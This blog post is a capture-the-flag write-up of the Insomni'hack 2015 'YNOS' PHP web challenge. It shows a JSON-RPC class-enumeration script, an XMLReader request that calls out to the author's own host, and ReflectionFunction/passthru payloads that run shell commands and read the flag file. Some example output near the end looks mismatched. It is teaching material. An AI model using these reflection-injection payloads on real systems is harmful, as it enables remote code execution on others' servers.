amccormack.net

Things I've learned and suspect I'll forget.

Insomni'hack 2015 Teaser - YNOS Web challenge 2015-01-13

Last weekend I spent a little time with the YNOS web challenge that was apart of Insomni'hack CTF's 2015 Teaser. It is a PHP Web challenge worth 100 points.

Challenge Presentation

Apparently this website likes these stupid films. Pwn them and get the flag which is in a pretty obvious file in the webroot.

Browsing the website showed a small page with a few buttons at the top labeled "Home", "Artists", "Films", "Directors", and "Logout". There is also a form present called "Login" with "Username" and "Password" fields and a submit button.

First Impressions

The first thing I noticed was that none of the buttons were links. Instead they were all hooked up to javascript click events. The html of "Home" looked like this:

<li role="presentation" class="active" onclick="navigate('home')"><a href="#">Home</a></li>

The javascript of the page was defined as:

function navigate(tab) {
    req = $.ajax('INSO.RPC',{'type':'POST','data' : '{"c":{"name":"page"},"a":{"name":"render","params":{"name":"' + tab + '"}}}','processData':false,'contentType':'application/json'});
    req.done(function(response, textStatus, jqXHR) {
      $("#main").html(response);
    });
  }

  $(document).ready(function() {
    req = $.ajax('INSO.RPC',{'type':'POST','data' : '{"c":{"name":"page"},"a":{"name":"render","params":{"name":"home"}}}','processData':false,'contentType':'application/json'});
    req.done(function(response, textStatus, jqXHR) {
      $("#main").html(response);
    });
  });

Thus clicking "Home" would lead to a AJAX request of:

{"c":{"name":"page"},"a":{"name":"render","params":{"name":"home"}}}

Further, clicking the "Submit" button the "Login" form had an AJAX request of:

{"c":{"name":"user"},"a":{"name":"login","params":"user|pass"}}

This lead me to believe that the AJAX request to INSO.RPC was invoking some kind of reflection where the c class with the name name would be instantiated. Then the a "action" (method) would be called with parameters in params probably split into an array by separating at the pipe.

Fuzzing the API

Now I needed a way to test to see what I could do with this API. I started by trying to figure out if I could access arbitrary classes. I sent a request with the following payload containing what I could only assume was a made up class name that wouldn't be present in the PHP code:

{"c":{"name":"badclassafq"},"a":{"name":"login","params":"user|pass"}}

And I got a HTTP 500 status code back. Then I sent a request with stdClass since it is standard to PHP.

{"c":{"name":"stdClass"},"a":{"name":"login","params":"user|pass"}}

And I got a HTTP 200 status code. Now I had a way to determine what classes I could use.

Determining what Classes were Available

I whipped up a quick PHP script to give me all classes available in my own PHP environment. This would give me a starting point for what would be possible. Here was my test.php file:

<?php
var_dump(get_declared_classes());
?>

And some bash magic to get a file of classes:

php test.php |grep string|cut -d '"' -f 2 > classes.txt

I then used python and the requests module to enumerate the list to see what was available.

#!/usr/bin/python
import requests
import json
import logging

burp_proxie = {'http':'http://127.0.0.1:8080' }
base_url = 'http://ynos.teaser.insomnihack.ch'

def determine_classes(class_file_in="classes.txt", class_file_out="classes.json"):
    '''
    It appears the only way to get a 500 is to send a request with an invalid class name
    '''
    with open(class_file_in, 'r') as f:
        data = f.read()
    klasses = data.split('\n')
    results = {}
    for clas in klasses:
        logging.info('trying class: %s' % clas)
        resp = call_method(classname=clas)
        results[clas] = ( resp.status_code == 200 )
    with open(class_file_out,'wb') as f:
        json.dump(results,f,indent=2)

def call_method(classname="user",actionname="login",params="user|password"):
    rpc_url = base_url + '/INSO.RPC'
    data = '''{{"c":{{"name":"{classname}"}},"a":{{"name":"{actionname}","params":"{params}"}}}}'''.format(
        classname=classname,
        actionname=actionname,
        params=params
    )
    session = requests.Session()
    session.get(base_url, proxies=burp_proxie)
    resp = session.post(rpc_url, data=data, proxies=burp_proxie)
    return resp

if __name__ == '__main__':
    determine_classes()

Out of the 135 classes I sent, I got a list of 65 that were available. Of particular interest were

ArrayObject
RecursiveArrayIterator
ReflectionExtension
ReflectionFunction
ReflectionMethod
ReflectionObject
ReflectionParameter
ReflectionProperty
Reflection
ReflectionZendExtension
XMLReader

The Recursive classes are interesting because recursion allows us to use strings to create objects and then invoke methods of those objects, also specified as string. In fact, I suspected the back end code looked something like this:

<?php
if ( count($argv)== 4){
    $kl = $argv[1]; // $data["c"]["name"];
    $ka = $argv[2]; // $data["a"]["name"];
    $kp = $argv[3]; // $data["a"]["params"];
}
$b = new ReflectionMethod($kl,$ka);
echo($b->invokeArgs(new $kl, explode("|", $kp)));
echo("\n");
?>

Proving code execution

I wanted to confirm my ability to execute code from this API. I figured if I could get the code to call out to my website then I would confirm execution and wouldn't have to worry about how the server handles the result of a method call (does it return strings at all? what about other data?). I figured XMLReader might work since a URI can be specified for the open method. So I used XMLReader and sent the following:

{"c":{"name":"XMLReader"},"a":{"name":"open","params":"http://amccormack.net/xml.xml"}} 

Sure enough my apache log showed:

54.154.53.161 - - [12/Jan/2015:03:24:50 -0500] "GET /xml.xml HTTP/1.0" 404 3607 "-" "-"

Woohoo code execution! Now to make it arbitrary.

Getting Arbitrary Code Execution

I went down a lot of rabbit holes trying to get code execution to work. The biggest problem was that based on my understanding of what was happening behind the scenes: I had to invoke a class without any parameters in the constructor and then I got one method call with arbitrary parameters.

After a while I noticed something in the original API that I hadn't noticed before. Look at the difference between these two API requests:

{"c":{"name":"page"},"a":{"name":"render","params":{"name":"home"}}}    /*render page */
{"c":{"name":"user"},"a":{"name":"login","params":"username|password"}} /*login request*/

I noticed that in the first case, params was a dictionary, and in the second case, params was a string. However, based on experimenting with the API manually, I knew that the dictionary wasn't required for the page render. That I could send:

{"c":{"name":"page"},"a":{"name":"render","params":"home"}}    /*render page */

And get a perfectly valid response full of HTML. This made me think that there must be more logic than I was thinking, and maybe there are some features I didn't think about. I knew I could get code execution if I could instantiate a class with parameters before invoking a function. I figured I hadn't really tried adding the parameters. I crafted a new request but with a params variable also in the c variable:

{"c":{"name":"ReflectionFunction","params":"passthru"},"a":{"name":"invoke","params":"ls"}} 

And I got the following response:

INSO.RPC
___THE_FLAG_IS_IN_HERE___
___THE_FLAG_IS_IN_HERE___.save
artists.php
bootstrap.min.css
bootstrap.min.js
classes.php
directors.php
films.php
functions.php
home.php
index.php
jquery-2.1.1.min.js
login.php
logout.php
preload.php

And the winning request:

{"c":{"name":"ReflectionFunction","params":"passthru"},"a":{"name":"invoke","params":"grep -rni . *FLAG*"}} 
___THE_FLAG_IS_IN_HERE___:1:INS{Gotta_L0ve_l33t_serialization_suff!}
___THE_FLAG_IS_IN_HERE___.save:1:INS{}

Other Attack Approaches

I'm not sure I would have solved it without figuring out that classes could take parameters, however I did have some leads that I thought could use some follow up work:

  1. ArrayObject::unserialize This method takes a string representing a serialized ArrayObject. I had success getting objects to unserialize but couldn't find a good __wakeup or __destruct candidate. See OWASP for how to take advantage of arbitrary unserialize. If you want to play a challenge related to unserialize, check out Plaid CTF 2014: Kpop (Writeup and Source here). See also Stefan Esser's 2010 Blackhat talk (video) [(slides)][https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf] "Utilizing Code Reuse/ROP Application Exploits" where he discusses how to chain PHP Objects to get from an unserialize to get Arbitrary code execution.
  2. Getting ReflectionFunction to work without an initialization variable. This obviously didn't work for something like invoke, but I did have luck with export and I have no idea why. For example, I could send:
{"c":{"name":"ReflectionFunction"},"a":{"name":"export","params":"passthru"}}

and get a response of:

Function [ <internal:standard> function phpinfo ] {

  - Parameters [1] {
    Parameter #0 [ <optional> $what ]
  }
}

However, if I threw

{"c":{"name":"ReflectionFunction"},"a":{"name":"export","params":"passthru"}}

I wouldn't get anything back, and local testing showed an error of:

PHP Warning:  ReflectionFunction::__construct() expects exactly 1 parameter, 0 given in testrf.php on line 28
PHP Fatal error:  ReflectionFunction::invoke(): Internal error: Failed to retrieve the reflection object in testrf.php on line 28

That being said, if anyone has some ideas on how to solve this without using class params hit me up on twitter or email and I'll buy you a beer.

published on 2015-01-13 by alex